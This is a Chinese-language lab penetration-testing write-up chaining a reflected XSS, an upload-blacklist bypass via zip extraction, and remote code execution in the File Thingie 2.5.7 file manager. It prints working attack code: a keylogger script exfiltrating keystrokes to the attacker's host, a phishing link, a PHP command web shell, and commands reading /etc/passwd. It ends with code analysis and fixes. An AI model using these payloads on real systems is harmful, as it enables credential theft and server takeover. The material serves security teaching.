针对File Thingie从XSS到文件上传再到RCE的渗透测试报告
字数 1216 2025-08-18 11:39:08
File Thingie渗透测试教学文档
1. 概述
File Thingie是一个基于PHP的轻量级Web文件管理工具,具有以下特点:
- 体积小(仅1MB)
- 功能全面(文件上传、多用户操作、创建/重命名/移动/删除/拷贝文件等)
- 无需数据库支持
本教学文档将详细分析File Thingie 2.5.7版本中存在的安全漏洞及利用方法。
2. 实验环境
| 组件 | 版本/配置 |
|---|---|
| 目标主机 | Debian 9.6 |
| 渗透主机 | Kali Linux 2018.3 |
| File Thingie | 2.5.7 |
| Web服务器 | XAMPP for Linux 5.6.30 |
3. 漏洞利用流程
3.1 反射型XSS漏洞利用
漏洞位置:登录页面的dir参数未过滤
验证方法:
http://[目标IP]/filethingie/ft2.php?dir=<script>alert('Hello World')</script>
键盘记录攻击实现:
-
准备三个关键文件:
keyrecorder.js(键盘记录脚本)keyrecorder.php(接收键盘记录的后端)learnmore.html(社工页面)
-
keyrecorder.js代码:
document.onkeypress = function(evt){
evt = evt || window.event
keyrecord = String.fromCharCode(evt.charCode)
if (keyrecord) {
var http = new XMLHttpRequest();
var param = encodeURI(keyrecord);
http.open("POST","http://[渗透主机IP]/keyrecorder.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("keyrecord="+param);
}
}
keyrecorder.php代码:
<?php
$key=$_POST['keyrecord'];
$record_file="keyrecord.txt";
$record_fp = fopen($record_file, "a");
fwrite($record_fp, $key);
fclose($record_fp);
?>
learnmore.html代码:
<a href="http://[目标IP]/filethingie/ft2.php?dir=<script src='http://[渗透主机IP]/keyrecorder.js'></script>">Learn More</a>
攻击流程:
- 受害者点击社工链接
- 键盘记录脚本被加载
- 受害者在登录页面输入凭据时,按键被记录并发送到攻击者服务器
- 攻击者从
keyrecord.txt获取凭据
3.2 文件上传绕过
限制分析:
- 黑名单限制上传:php, phtml, php3, php4, php5
- 未限制zip文件上传
绕过方法:
- 创建PHP后门文件
backdoor.php:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
-
将后门文件压缩为
backdoor.zip并上传 -
利用File Thingie的解压功能:
URL: http://[目标IP]/filethingie/ft2.php?dir=/Test
POST参数: newvalue=backdoor.zip&file=backdoor.zip&act=unzip
3.3 任意代码执行
后门利用:
http://[目标IP]/filethingie/Test/backdoor.php?cmd=cat%20/etc/passwd
http://[目标IP]/filethingie/Test/backdoor.php?cmd=cat%20/proc/version
4. 漏洞代码分析
4.1 XSS漏洞代码
$('#filelist').ft_filelist({
// ...
directory: "<?php if (!empty($_REQUEST['dir'])) {echo $_REQUEST['dir'];}?>",
// ...
});
dir参数未经过任何过滤直接输出
4.2 文件上传限制代码
$ft["settings"]["FILETYPEBLACKLIST"] = "php phtml php3 php4 php5";
$ft["settings"]["FILETYPEWHITELIST"] = "";
- 使用黑名单机制限制PHP文件上传
- 白名单为空,未启用白名单机制
4.3 解压漏洞代码
function ft_check_filetype($file) {
$type = strtolower(ft_get_ext($file));
if (FILETYPEWHITELIST) {
// 白名单检查
} else {
if (FILETYPEBLACKLIST) {
// 黑名单检查
} else {
return TRUE;
}
}
}
- 解压时仅检查zip文件本身
- 解压后不检查解压出的文件类型
5. 修复建议
-
XSS防护:
- 对所有用户输入进行HTML实体编码
- 实现严格的输入验证和输出编码
-
文件上传:
- 采用白名单机制替代黑名单
- 限制上传文件扩展名和MIME类型
- 将上传文件存储在非Web可访问目录
-
解压功能:
- 解压后检查解压出的文件类型
- 删除不符合安全策略的文件
- 使用安全的解压库替代系统命令
-
其他措施:
- 实现CSRF防护
- 限制文件操作权限
- 定期更新软件版本
6. 总结
本次渗透测试展示了如何通过多个漏洞的串联利用实现从XSS到RCE的完整攻击链:
- 利用反射型XSS获取管理员凭据
- 通过文件上传限制绕过上传恶意zip文件
- 利用解压功能实现任意代码执行
防御时应采用纵深防御策略,在每个环节都实施适当的安全控制。